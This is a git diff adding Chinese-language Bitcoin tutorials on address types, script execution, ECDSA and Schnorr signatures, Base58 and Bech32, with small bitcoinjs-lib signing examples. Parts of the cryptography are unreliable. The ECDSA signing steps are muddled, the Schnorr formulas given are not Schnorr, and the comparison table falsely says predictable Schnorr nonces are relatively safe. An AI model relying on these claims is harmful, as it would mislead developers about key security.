+[P2WPKH（Pay to Witness Public Key Hash）](../wallet/address.js#L44)是一种新型地址格式，它是隔离见证（SegWit）的一部分，由比特币改进提案BIP 0141在2017年引入。这种地址类型主要目的是减小交易的大小，从而降低手续费，同时增加交易的修改抵抗力（malleability resistance）。`P2WPKH`简化了标准的`P2PKH`地址脚本，将签名和公钥信息从交易的脚本部分移至见证部分，这样做有助于更高效的签名验证和交易大小的减小。`P2WPKH`地址通常以“bc1”开始，使用Bech32编码格式，与传统的`P2PKH`和`P2SH`地址格式（分别以“1”和“3”开始）显著不同。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2WPKH交易中，锁定脚本变得非常简洁：
+
+```js
+// 模版
+OP_0 <pubKeyHash>
+
+OP_0  // 表示版本号，对于P2WPKH是0
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+```
+
+- `OP_0`：表示版本号，对于P2WPKH是0。
+- `<pubKeyHash>`：是公钥的SHA-256哈希后再进行RIPEMD-160哈希的结果，和传统P2PKH的处理方式相同。
+
+## Witness(见证数据)
+
+为了解锁P2WPKH输出，需要在见证字段提供以下信息：
+
+```js
+// 模版
+<Singature> <Public Key>
+
+02  // 见证数据的数量
+48  // 第一个见证数据的长度72字节
+3045022100a5eec95c65d2dd679e8fdcc10668d5d51446f24d1557859cb543e570201257c6022011df04f803a08c97de213ddf211ad193045ff25e59857324a28656de1961351c01  // 签名数据
+21  // 第二个见证数据的长度33字节
+0295f97f41d0d523bddf39e77e16cc0dda2e56b9bd9fdea10133656635b2c28a39  // 压缩公钥
+```
+
+## 执行过程
+
+1. 脚本合并同P2PKH，使用Witness替换ScriptSig在前，ScriptPubKey在后
+
+```js
+<Singature> <Public Key> OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+2. 栈内执行通P2PKH
+
+- OP_DUP 从栈里取出公钥，复制并做HASH160推进栈顶
+- OP_EQUALVERIFY 对比上一步的计算结果和Public Key Hash
+- OP_CHECKSIG 校验数字签名，如果通过锁定脚本合法可以花费对应UTXO，如果不通过交易失败
+
+## 地址生成
+
+P2WPKH地址的生成过程如下：
+
+### 步骤1: 计算公钥哈希
+
+- 使用公钥生成哈希：首先对公钥进行SHA-256，然后进行RIPEMD-160哈希运算。
+
+### 步骤2: Bech32编码
+
+- 使用Bech32编码方案将公钥哈希编码为一个P2WPKH地址。这包括将数据与校验和一起编码，提供了更好的错误检测能力。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`
+4. **Bech32编码**：将最终字节串转换为Bech32编码:`bc1qnx0lwun9xrks6zn7kwm5gtz3g0my8a3cqde85n`
diff --git a/btc/Basic/payment/README.md b/btc/Basic/payment/README.md
new file mode 100644
index 000000000..962955520
--- /dev/null
+++ b/btc/Basic/payment/README.md
@@ -0,0 +1,38 @@
+# BTC地址
+
+在比特币系统中，随着技术的发展和用户需求的变化，钱包现在支持多种不同类型的地址格式，每种格式都对应不同的技术标准和特点。这些地址格式包括传统的P2PKH（以1开头），P2SH（以3开头），以及更加现代的SegWit地址（通常以bc1q或bc1p开头）。进行交易时，我们需要为收款者创建一个交易输出，这个输出指定了收款方的地址和交易的金额。
+
+# BTC地址到交易完成
+
+下面以P2PKH（Pay-to-Public-Key-Hash）为例介绍从比特币收款地址到交易构建的详细步骤：
+
+1. 收款地址的获取和格式
+   收款方提供一个P2PKH类型的比特币地址，这种地址通常以数字1开始，例如 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2。这个地址是经过编码的，通常使用Base58Check编码，其中包含了收款方的公钥哈希（public key hash）。
+
+2. Base58Check解码
+   当付款方接收到一个比特币地址后，他们会使用Base58Check解码来提取地址中的公钥哈希。Base58Check编码不仅帮助减少字符混淆（移除了容易混淆的字符如0（零）、O（大写字母O）、I（大写字母i）和l（小写字母L）），还内嵌了一个错误检测机制。
+
+3. 构建锁定脚本（ScriptPubKey）
+   解码过程提取出的公钥哈希接着用来构建一个所谓的锁定脚本（ScriptPubKey），这个脚本是交易输出的一部分。对于P2PKH地址，锁定脚本的格式通常如下：
+
+```js
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+4. 构建交易
+   付款方将锁定脚本放置在新的交易输出中，并指定转账金额。这个输出现在会被添加到新的交易中。除此之外，交易还需要包含至少一个输入（来自付款方的一个或多个以前的交易输出），这些输入提供了足够的资金来覆盖转账金额和网络矿工费。
+
+5. 签名和广播交易
+   一旦交易构建完毕，付款方需要用他们的私钥对交易进行签名，证明他们有权使用指定的输入资金。完成签名后，交易将被广播到比特币网络，网络的矿工们开始验证这个交易的合法性，如果合法，最终将其加入到区块链中，完成资金的转移。
+
+# 常见支付方式
+
+| 支付方式 | 全称                    | 地址前缀 | 脚本类型 | 主要特点                                        | 示例地址      |
+|----------|-------------------------|----------|----------|-------------------------------------------------|---------------|
+| [P2PKH](./P2PKH.md)    | Pay-to-Public-Key-Hash  | 1        | P2PKH    | 最常用，公钥哈希方式，隐私性好，地址以 "1" 开头 | 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa |
+| [P2SH](./P2SH-P2PKH.md)     | Pay-to-Script-Hash      | 3        | P2SH    | 支付到脚本的哈希值，支持复杂的脚本，地址以 "3" 开头 | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
+| [P2WPKH](./P2WPKH.md)   | Pay-to-Witness-Public-Key-Hash | bc1q    | P2WPKH  | 使用隔离见证（SegWit），更低交易费用，地址以 "bc1q" 开头 | bc1qar0srrr7xf6h4g1ks7zft6wz7x4n7pkjkcn6lq |
+| P2WSH    | Pay-to-Witness-Script-Hash   | bc1q    | P2WSH   | 使用隔离见证，支持复杂脚本，地址以 "bc1q" 开头 | bc1qrp33g0q0s6fphxtww9g4ndzsd74ny3rps6m74dxg7mjsg5c0z9rhdj |
+| [P2TR](./P2TR.md)     | Pay-to-Taproot          | bc1p    | P2TR    | 使用 Taproot 功能，优化脚本执行和隐私，地址以 "bc1p" 开头 | bc1p4gr63h6fp9hrkwpf4sjwx4s34a5w6b6ptfhl5k7vph3ykq6s5h7gx5m |
+
+
diff --git a/btc/Basic/signature/README.md b/btc/Basic/signature/README.md
new file mode 100644
index 000000000..570236925
--- /dev/null
+++ b/btc/Basic/signature/README.md
@@ -0,0 +1,167 @@
+# 比特币中的数字签名
+
+## ECDSA
+比特币（BTC）在设计初期使用椭圆曲线数字签名算法（ECDSA）来保证交易的安全性。ECDSA在比特币中的应用提供了强大的安全性，保证交易不可篡改且可验证。它是确保比特币网络信任和安全的关键技术之一。
+
+### 椭圆曲线密码学基础
+椭圆曲线定义：在比特币中，通常使用的是secp256k1椭圆曲线。这条曲线在一个有限域上定义，具有一定的形状，能够提供高强度的加密保护。  
+公钥和私钥：私钥是一个随机选定的数，而公钥是由私钥通过椭圆曲线的数学运算得出的点。
+
+### 生成签名的过程
+使用私钥创建签名：签名是使用交易发起者的私钥生成的。这个过程包括对交易的哈希值进行加密处理。
+签名组成：ECDSA签名由两部分组成，通常表示为（r, s）。  
+r：是椭圆曲线点的x坐标。  
+s：是对交易信息、私钥和一个随机数的数学运算的结果。
+  
+### 验证签名的过程
+使用公钥验证签名：接收方或网络节点使用发送方的公钥来验证签名。如果签名是有效的，这表明交易是由拥有相应私钥的人发起的，从而保证了交易的真实性和不可否认性。  
+确保安全性：只有创建签名的私钥持有者才能生成有效的签名，而计算私钥本身几乎是不可能的，因为这需要在有限的时间内解决非常复杂的数学问题。
+
+### 比特币中的应用
+交易认证：比特币交易使用ECDSA签名来验证交易的合法性。每笔交易都包括至少一个输入（来源资金）和一个输出（目的地资金）。  
+防止篡改：ECDSA签名保证了一旦交易被签名，任何对交易内容的修改都会使签名失效，从而防止了交易的篡改。
+
+椭圆曲线密码学提供了比传统的RSA算法更高的安全性，这意味着即使使用更短的密钥，也能提供同等甚至更高的安全性。
+
+### 数学公式
+#### 密钥生成 (genKey)
+1. 随机产生私钥 $d$，选点 $G$。
+2. 计算公钥 $Q = d \* G $
+   
+注意事项： $G$点阶数 $n$，但是根据椭圆曲线随机选点 $G$却是计算出来难点。
+
+#### 加密 (encrypt)
+1. 选择随机数r的点 $k = r \* G $，随机数r。
+2. 计算密文： $C_1 = M + r \* Q $,  $C_2 = r \* G $
+
+#### 解密 (decrypt)
+1.  $C_1 - d \* C_2 = M + r \* Q - r(d \* G) = M + r \* Q - r \* Q = M $
+
+#### 签名 (sign)
+1. 对消息m使用哈希算得摘要z，摘要 $z = hash(m)$
+2. 生成随机数 $k ∈ [1,n)$，计算点 $k = r \* G $
+3. 摘要 $z$， $R = k $，计算 $s = k^{-1}(z + rd) \mod n $，签名为  (r, s)  
+4. 计算 $s = k^{-1}(z + rd) \mod n  $，签名 =  (r, s) 即是进行授权协议
+5. 以上 $(r, s)$ 即为ECDSA签名
+
+#### 验证 (verify)
+使用公钥Q和消息m，对签名 $(r, s)$ 进行验证。
+
+1. 验证 $r, s ∈ [1, n)$
+2. 计算 $z = hash(m)$
+3. 计算 $u_1 = z \* s^{-1} \mod n$ 和 $u_2 = r \* s^{-1} \mod n  $
+4. 计算 $(x, y) = u_1 \* G + u_2 \* Q \mod n$
+5. 判断 $r == x$，若相等则验证签名正确
+
+#### 恢复 (recover)
+已知消息m和签名 $(r, s)$，恢复计算出公钥 $Q$
+
+1. 验证 $r, s ∈ [1, n)$
+2. 计算 $R = (x, y)$，其中 $x = r, y + r, y + nr, y + 2nr, ...,$ 代入R到曲线方程计算得到R
+3. 计算 $z = hash(m)$
+4. 计算 $u_1 = z \* r^{-1} \mod n$ 和 $u_2 = s \* r^{-1} \mod n$
+5. 计算公钥 $Q = (x', y') = u_1 \* G + u_2 \* R $
+
+### 签名分析
+#### 签名内容
+对于使用ECDSA的比特币交易，签名通常包括两部分：r 和 s，每部分通常是32字节，但也可能因数字的大小而稍有变化。因此，一个典型的ECDSA签名大约是64字节，但当包括签名编码和额外的元数据（如签名哈希类型）时，长度可能会变长。
+#### 签名的具体长度
+具体到比特币的签名，它通常包括以下几个部分：
+- r值：32字节
+- s值：32字节
+- 签名哈希类型（SIGHASH）：通常是1字节
+此外，签名还可能包括序列化格式的前缀（如0x30），以及长度描述符，这些都会增加几个字节。
+
+#### 签名案例
+```js
+// 签名
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401
+```
+
+##### DER编码的ECDSA签名结构
+一个典型的ECDSA签名的DER编码格式如下：
+- 0x30: 表示这是一个序列（SEQUENCE），后面跟随的是整个序列的长度。
+- 紧接着的第一个字节（或两个字节，取决于长度）是整个签名结构的长度。
+- 0x02: 表示一个整数（INTEGER）的开始，这是签名的第一部分，即r值。
+- 紧接着的一个字节（或两个字节）是r值的长度。
+- r值本身。
+- 另一个0x02，表示第二个整数的开始，这是签名的第二部分，即s值。
+- 紧接着的一个字节（或两个字节）是s值的长度。
+- s值本身。
+##### 分析具体内容
+1. 30: 序列开始。
+2. 45: 表示序列的长度（十进制的69字节）。
+3. 02: r值的整数开始。
+4. 21: r值的长度（十进制的33字节，包含前导0，因为r值开始于00，这通常用于表示正数以避免整数被误认为负数）。
+5. 00c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e: r值。
+6. 02: s值的整数开始。
+7. 20: s值的长度（十进制的32字节）。
+8. 5aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a7724: s值。
+9. 最后的01是签名的SIGHASH类型，表示这是一个标准的所有输出签名。
+
+## Schnorr
+比特币的Schnorr签名是一种相对较新的签名算法，它与传统的椭圆曲线数字签名算法（ECDSA）相比，提供了几个关键优势。在2020年的比特币协议升级中，Schnorr签名通过BIP340提案得到了引入。以下是Schnorr签名的详细介绍：
+
+### Schnorr签名概述
+发明者：Schnorr签名由Claus Schnorr提出。  
+算法特性：Schnorr签名基于椭圆曲线密码学，与ECDSA使用相同的椭圆曲线。  
+简洁性和效率：Schnorr签名比ECDSA更简洁、高效。它生成的签名更小，处理速度更快。
+
+### Schnorr签名的优势
+线性性：Schnorr签名具有线性特性，使得多签名（multi-signature）操作更简单有效。这意味着可以将多个签名组合成一个单一签名，从而减少数据的大小和处理时间。  
+隐私和安全性：Schnorr签名提升了隐私和安全性。它使得各种复杂的交易类型（如多签名交易）在区块链上看起来与普通交易无异，从而提高了隐私性。  
+防止重放攻击：Schnorr签名包含额外的措施来防止重放攻击，这是ECDSA所缺乏的。
+
+### 比特币中的应用
+简化多签名：Schnorr签名简化了比特币网络中的多签名交易处理，减少了数据量和验证所需的时间。  
+批量验证：Schnorr签名支持批量验证，允许网络同时验证多个签名，提高了整体效率。  
+Taproot升级：结合Schnorr签名的Taproot升级为比特币引入了更高的效率和隐私性。
+
+### 签名过程
+私钥和公钥：与ECDSA一样，Schnorr签名使用一对私钥和公钥。  
+签名生成：签名是使用私钥和交易的哈希值生成的。Schnorr签名的计算相对简单，它包括了一些线性数学运算。
+   
+### 全性和效率
+安全性：Schnorr签名被认为至少与ECDSA同等安全，有些专家认为其安全性更高。  
+效率和可扩展性：签名的大小和验证的效率对于比特币网络的可扩展性至关重要。Schnorr签名在这方面表现优异。
+
+Schnorr签名在比特币中的引入被视为一个重大进步，它提高了交易的隐私性、效率和可扩展性。随着时间的推移，预计Schnorr签名将在比特币网络中发挥越来越重要的作用。
+
+### 数学公式
+#### 密钥生成 (genKey)
+1. 在群的阶 $n$ 内随机选择一个私钥 $d$，通常从 $[1, n)$ 区间选择。
+2. 计算公钥 $Q = d \cdot G$，其中 $G$ 是椭圆曲线上的基点。
+
+#### 签名 (sign)
+1. 从 $[1, n)$ 区间内随机选取一个数 $k$。
+2. 计算 $r = (k \cdot G).x$（即 $k \cdot G$ 点的x坐标）。
+3. 计算签名 $s = (k + d \cdot \text{hash}(m)) \mod n$，这里 $\text{hash}(m)$ 是消息 $m$ 的哈希值。
+4. 签名结果是一个元组 $(r, s)$。
+
+#### 验证 (verify)
+1. 计算 $u1 = \text{hash}(m) \cdot s^{-1} \mod n$。
+2. 计算 $u2 = r \cdot s^{-1} \mod n$。
+3. 计算点 $R' = u1 \cdot G + u2 \cdot Q$。
+4. 验证 $r$ 是否等于 $R'$ 的x坐标，如果相等，则签名有效。
+
+#### 恢复 (recover)
+假设我们有一个有效的Schnorr签名 $(r, s)$ 和消息 $m$，以下是计算公钥的步骤：
+1. 计算消息的哈希值 $e = \text{hash}(m)$。
+2. 计算签名 $s = k + e \cdot d$。
+3. 进行 $k \cdot G$ 运算得到 $s \cdot G = k \cdot G + e \cdot d \cdot G$ 即 $s \cdot G = R + e \cdot Q$。
+4. 最后，公钥 $Q = (s \cdot G - R) / e$ 计算出来。
+5. 其中 $r$ 是 $R$ 的x坐标，可以计算得到 $R$。
+
+
+
+
+## ECDSA VS Schnorr
+
+| 特性       | ECDSA                                     | Schnorr                                      |
+|------------|-------------------------------------------|----------------------------------------------|
+| 安全性     | 基于椭圆曲线离散对数问题的困难性。随机数重用或泄露会暴露私钥。   | 基于椭圆曲线离散对数问题的困难性。对随机数的选择不敏感，即使随机数可预测，也相对安全。 |
+| 效率       | 签名和验证相对复杂，计算量大。                 | 签名和验证过程更高效，特别是在批量操作时。              |
+| 可组合性   | 无签名可组合性。                             | 支持签名聚合，可将多个签名合并为一个。                  |
+| 签名大小   | 包含两个等长的整数`(r, s)`。                    | 同样包含`(r, s)`对，但因可组合性，最终可能存储更少的签名数据。 |
+| 隐私与可证明性 | 无额外隐私保护或可证明性。                      | 签名可组合性可用于增强隐私和提供非交互式的多方协议。       |
+| 实际应用   | 在众多标准和协议中广泛使用，如比特币和以太坊早期版本。    | 由于技术发展被越来越多的系统采纳，例如比特币的BIP 340提案。 |
diff --git a/btc/Basic/signature/ecdsa.js b/btc/Basic/signature/ecdsa.js
new file mode 100644
index 000000000..8d56540d3
--- /dev/null
+++ b/btc/Basic/signature/ecdsa.js
@@ -0,0 +1,29 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import crypto from 'crypto';
+
+/// In this example, we first generate a new private key and corresponding public key.
+/// We then create a simulated transaction hash (in a real application, this would be the actual hash of the transaction) and use the private key to sign this hash.
+/// Finally, we verify that the signature is valid.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Generate a new random private key
+const keyPair = ECPair.makeRandom();
+const privateKey = keyPair.privateKey;
+const publicKey = keyPair.publicKey;
+
+console.log('private key:', privateKey.toString('hex'));
+console.log('public key:', publicKey.toString('hex'));
+
+// Create a hypothetical transaction hash, usually this will be the hash of the real transaction you want to sign
+const txHash = crypto.randomBytes(32);
+
+// signature transaction
+const signature = keyPair.sign(txHash);
+console.log('signature:', signature.toString('hex'));
+
+// verify transaction
+const isValid = keyPair.verify(txHash, signature);
+console.log('signature is valid:', isValid);
diff --git a/btc/Basic/signature/ecdsaPSBT.js b/btc/Basic/signature/ecdsaPSBT.js
new file mode 100644
index 000000000..8b6d0e346
--- /dev/null
+++ b/btc/Basic/signature/ecdsaPSBT.js
@@ -0,0 +1,46 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+/// In this example, We get keyPair from WIF.
+/// We then construct a PSBT with one input (which you're spending) and one output (where you're sending bitcoins).
+/// The PSBT is signed using the private key.
+/// Finally, we build the PSBT and print its hexadecimal representation.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Get keyPair from WIF
+const keyPair = ECPair.fromWIF('L2uPYXe17xSTqbCjZvL2DsyXPCbXspvcu5mHLDYUgzdUbZGSKrSr');
+
+// Create a new PSBT with the first input of the transaction
+let psbt = new bitcoin.Psbt()
+  .addInput({
+    hash: '7d067b4a697a09d2c3cff7d4d9506c9955e93bff41bf82d439da7d030382bc3e',
+    index: 0,
+    nonWitnessUtxo: Buffer.from(
+      '0200000001f9f34e95b9d5c8abcd20fc5bd4a825d1517be62f0f775e5f36da944d9' +
+        '452e550000000006b483045022100c86e9a111afc90f64b4904bd609e9eaed80d48' +
+        'ca17c162b1aca0a788ac3526f002207bb79b60d4fc6526329bf18a77135dc566020' +
+        '9e761da46e1c2f1152ec013215801210211755115eabf846720f5cb18f248666fec' +
+        '631e5e1e66009ce3710ceea5b1ad13ffffffff01905f0100000000001976a9148bb' +
+        'c95d2709c71607c60ee3f097c1217482f518d88ac00000000',
+      'hex'
+    ),
+  })
+  .addOutput({
+    address: '1KRMKfeZcmosxALVYESdPNez1AP1mEtywp',
+    value: 80000,
+  });
+
+// Sign the first input with the key
+psbt.signInput(0, keyPair);
+
+// Finalize the inputs
+psbt.finalizeAllInputs();
+
+// Extract the transaction
+const rawTx = psbt.extractTransaction().toHex();
+
+// Print the transaction
+console.log(`Raw Transaction: ${rawTx}`);
diff --git a/btc/Basic/signature/ecdsaTransaction.js b/btc/Basic/signature/ecdsaTransaction.js
new file mode 100644
index 000000000..15359e2ba
--- /dev/null
+++ b/btc/Basic/signature/ecdsaTransaction.js
@@ -0,0 +1,42 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import bitcoin from 'bitcoinjs-lib';
+
+/// In this example, We create a new private key and its corresponding public key.
+/// We then construct a transaction with one input (which you're spending) and one output (where you're sending bitcoins).
+/// The transaction is signed using the private key.
+/// Finally, we build the transaction and print its hexadecimal representation.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Securely generate and store the private key. Here, we use a randomly generated private key for demonstration.
+const keyPair = ECPair.makeRandom();
+const { address } = bitcoin.payments.p2pkh({ pubkey: keyPair.publicKey });
+const privateKey = keyPair.privateKey.toString('hex');
+
+console.log(`Address: ${address}`);
+console.log(`Private Key: ${privateKey}`);
+
+// Replace the following with a real transaction hash and the corresponding index of the output you want to spend.
+const txHash = Buffer.from('c8c5b5a17a07c7cecdbdece070843fb074ae039400a26c27861927dab26631b5', 'hex'); // This should be a real transaction hash
+const txId = 1; // Typically 0 or 1
+
+// Create a new transaction builder
+const transaction = new bitcoin.Transaction();
+
+// Add the input (the transaction hash and index)
+transaction.addInput(txHash, txId);
+
+// Add the output (recipient address and amount in satoshis)
+transaction.addOutput(Buffer.alloc(0), 10000); // The amount you want to send, in satoshis
+
+// Sign the transaction with the private key of the input
+const hash = transaction.hashForSignature(0, Buffer.from('001494fea8dd42d30e583fdf39537fb7e2ee0533e6b7', 'hex'), 0);
+const signature = keyPair.sign(hash);
+transaction.setInputScript(0, bitcoin.script.compile([signature, keyPair.publicKey]));
+
+// Build the transaction and get its hex representation
+const tx = transaction.toHex();
+
+console.log(`Transaction: ${tx}`);
diff --git a/btc/Basic/signature/package.json b/btc/Basic/signature/package.json
new file mode 100644
index 000000000..bf4ec8502
--- /dev/null
+++ b/btc/Basic/signature/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "btc-wallet",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "bitcoinjs-lib": "^6.1.5",
+    "ecpair": "^2.1.0",
+    "tiny-secp256k1": "^2.2.3"
+  }
+}
diff --git a/btc/Basic/signature/schnorr.js b/btc/Basic/signature/schnorr.js
new file mode 100644
index 000000000..e6f24db93
--- /dev/null
+++ b/btc/Basic/signature/schnorr.js
@@ -0,0 +1,30 @@
+import ecpair from 'ecpair';
+import * as tinysecp from 'tiny-secp256k1';
+import crypto from 'crypto';
+
+/// In this example, we first generate a new private key and corresponding public key.
+/// We create a dummy transaction hash. In a real scenario, this would be the hash of your transaction data.
+/// We generate a Schnorr signature using the private key and the transaction hash.
+/// Finally, we verify that the signature is valid.
+
+const { ECPairFactory } = ecpair;
+const ECPair = ECPairFactory(tinysecp);
+
+// Generate a new random private key
+const keyPair = ECPair.makeRandom();
+const privateKey = keyPair.privateKey;
+const publicKey = keyPair.publicKey;
+
+console.log('private key:', privateKey.toString('hex'));
+console.log('public key:', publicKey.toString('hex'));
+
+// Create a hypothetical transaction hash, usually this will be the hash of the real transaction you want to sign
+const txHash = crypto.randomBytes(32);
+
+// signature transaction
+const signature = keyPair.signSchnorr(txHash);
+console.log('Schnorr Signature:', signature.toString('hex'));
+
+// verify transaction
+const isValid = keyPair.verifySchnorr(txHash, signature);
+console.log('signature is valid:', isValid);
diff --git a/btc/Basic/tools/README.md b/btc/Basic/tools/README.md
new file mode 100644
index 000000000..d0668975e
--- /dev/null
+++ b/btc/Basic/tools/README.md
@@ -0,0 +1,26 @@
+# BTC工具目录
+
+欢迎访问比特币工具目录！随着比特币和其他加密货币的流行，对于普通用户而言，理解其背后的技术变得越来越重要。本目录旨在提供一系列易于使用的工具，帮助您深入了解比特币的基本原理、操作和技术细节。
+
+
+## 可用工具
+
+### [dust计算](./dust.md)
+
+- **描述**：在比特币网络中，“尘埃”（Dust）是一个专有术语，它指的是一种非常小的比特币金额，这种金额小到它的交易费用可能会超过这笔金额本身的价值。因此，从经济角度来看，发送这样一笔交易是不划算的。
+- **影响**：尘埃限制的存在主要是为了防止网络被大量的微小交易所拥堵，这些交易可能是无效的或试图进行“尘埃攻击”（发送大量的小额交易到多个地址，以试图追踪这些地址的所有者）。因此，比特币网络通过设置尘埃限制来保护网络不被这种小额交易滥用。
+
+### [base58 编码/解码](./base58.md)
+
+- **描述**：Base58是一种二进制到文本的编码方式，主要用于编码比特币地址。
+- **使用方法**：Base58编码主要用于生成人类可读的公钥哈希（即比特币地址）和私钥的可导入格式。这样的格式不仅容易被人识别和处理，也方便在不同的应用和服务之间进行交易和管理。
+
+### [Bech32 编码/解码](./bech32.md)
+
+- **描述**：Bech32 是一种字符编码方案，设计用于提高比特币地址的可读性和纠错能力。它是一种人类可读的编码方式，主要用于比特币隔离见证（SegWit）地址的表示。
+- **使用方法**：Bech32 编码用于生成比特币隔离见证地址（例如，P2WPKH 和 P2WSH 地址）。它采用了一个包含 32 个字符的字符集，使得地址既易于手动输入，又具有较强的错误检测能力。Bech32 地址以“bc1”开头，后跟若干字符，提供了更高的错误检测能力和更好的用户体验。
+
+### [Bech32m 编码/解码](./bech32m.md)
+
+- **描述**：Bech32m 是 Bech32 的一种变体，专门用于 Taproot 地址的编码。它与 Bech32 在结构上类似，但引入了不同的错误检测机制，以增强对 Taproot 地址的支持。
+- **使用方法**：Bech32m 编码用于生成 Taproot 地址，这种地址以“bc1p”开头。Bech32m 提供了改进的错误检测能力，适合用于 Taproot 地址的使用。它在 Bech32 基础上增加了一些功能，确保 Taproot 地址具有更好的数据完整性和错误校验能力。
\ No newline at end of file
diff --git a/btc/Basic/tools/base58.md b/btc/Basic/tools/base58.md
new file mode 100644
index 000000000..f84aeb825
--- /dev/null
+++ b/btc/Basic/tools/base58.md
@@ -0,0 +1,91 @@
+Base58 是一种用于将大数字转换为可读的文本格式的编码方案，广泛用于比特币以及其他多种加密货币的地址。与常见的 Base64 编码类似，Base58 是一种二进制到文本的编码，设计它的主要目的是为了减少混淆并增加地址的可读性。
+
+### 特点
+
+Base58 编码具有几个显著的特点，使其适合用于加密货币地址：
+
+1. **去除视觉上易混淆的字符**：Base58编码不使用数字"0"，大写字母"O"，大写字母"I"，和小写字母"l"，因为这些字符在视觉上容易与其他字符混淆。
+2. **无标点符号**：Base58不包含标点符号，这减少了在抄写或读取地址时出错的可能性。
+3. **编码效率**：Base58 编码是紧凑的，它使得编码的数据相对较短，便于分享和书写。
+4. **大小写敏感**：Base58是大小写敏感的，增加了编码的字符集，从而提高了每个字符的信息容量。
+
+### Base58 字符集
+
+Base58使用以下58个字符作为其字母表：
+
+```
+123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
+```
+
+注意这里没有0, O, I, l，这是为了避免在读写时的混淆。
+
+### 应用
+
+在比特币和许多其他加密货币中，Base58编码主要用于生成人类可读的公钥哈希（即比特币地址）和私钥的可导入格式。这样的格式不仅容易被人识别和处理，也方便在不同的应用和服务之间进行交易和管理。
+
+### 技术实现
+
+Base58 编码涉及将大整数转换为一种基于58的数制系统。编码过程通常包括以下步骤：
+
+1. 将初始数据（例如，比特币地址的哈希值）转换为一个大整数。
+2. 将这个大整数重复除以58，同时记录每次除法的余数。
+3. 将余数用对应的Base58字符表示，直到整数部分为0。
+4. 将结果的字符反转，因为在计算过程中，第一个余数实际上对应最后一个Base58字符。
+
+### 示例
+
+##### 编码
+
+```js
+base10 = 123456789
+
+123456789 % 58 = 19 <- remainder
+  2128565 % 58 = 23 <- remainder
+    36699 % 58 = 43 <- remainder
+      632 % 58 = 52 <- remainder
+       10 % 58 = 10 <- remainder
+
+base58 = [10][52][43][23][19]
+base58 = BukQL
+```
+
+#### 解码
+
+```js
+base58 = BukQL
+
+L = 19 * 58^0 = 19
+Q = 23 * 58^1 = 1334
+k = 43 * 58^2 = 144652
+u = 52 * 58^3 = 10145824
+B = 10 * 58^4 = 113164960
+
+base10 = 19 + 1334 + 144652 + 10145824 + 113164960
+base10 = 123456789
+```
+
+### BTC中的应用
+
+Base58 最初仅用于对BTC地址进行编码，在后来引入 WIF 私钥和扩展密钥时也使用Base58编码。
+
+#### 前缀
+
+在比特币中，在转换为 base58 之前，会向数据添加不同的前缀以影响结果的前导字符，这个前导字符有助于我们识别每个 base58 字符串代表什么。
+
+| Hex Prefix | Base58首字符 | 类型         | 示例      |
+| ---------- | ------------ | ------------ | --------- |
+| 00         | 1            | 地址 (P2PKH) | 1mGqBH... |
+| 05         | 3            | 地址 (P2SH)  | 3JiUY4... |
+| 80         | K, L, 或 5   | WIF私钥      | Lu38mr... |
+| 0488ADE4   | xprv         | 扩展私钥     | xprv9t... |
+| 0488B21E   | xpub         | 扩展公钥     | xpub67... |
+
+#### base58 check
+
+Base58Check 编码是将某些数据编码为 base58 之前向某些数据添加校验和的缩写。
+
+在BTC的base58编码时
+
+1. 首先会对原始数据增加对应的prefix
+2. 对上述结果执行两次SHA-256，取前四个字节做checkSum
+3. 连接1和2的结果进行base58编码
diff --git a/btc/Basic/tools/bech32.md b/btc/Basic/tools/bech32.md
new file mode 100644
index 000000000..74d733b46
--- /dev/null
+++ b/btc/Basic/tools/bech32.md
@@ -0,0 +1,193 @@
+Bech32是一种编码格式，最初由Pieter Wuille等人在比特币改进提案[BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki)中提出，主要用于比特币SegWit地址的编码方式。Bech32编码的目的是提供一种更友好的用户界面，并减少在抄写和输入时出现错误的风险。
+
+### 核心特性
+
+**1. 错误检测能力：**
+Bech32地址包含一种错误检测代码，称为多项式校验码（PolyMod），可以检测并保护地址中最多4个错误的出现。
+
+**2. 字符集：**
+Bech32只使用小写字母和数字（除了1、b、i、o之外的小写字母和所有数字），从而避免了字母大小写的混淆和某些字母和数字之间的视觉相似性。
+
+**3. 限制长度：**
+一个Bech32编码的地址总是有一定的长度限制，比特币的SegWit地址最长为90个字符。
+
+**4. 分隔符：**
+Bech32地址中使用"1"作为分隔符来分开人类可读的部分（HRP，Human-readable part）和数据部分。
+
+### 编码格式
+
+Bech32地址的结构如下：
+
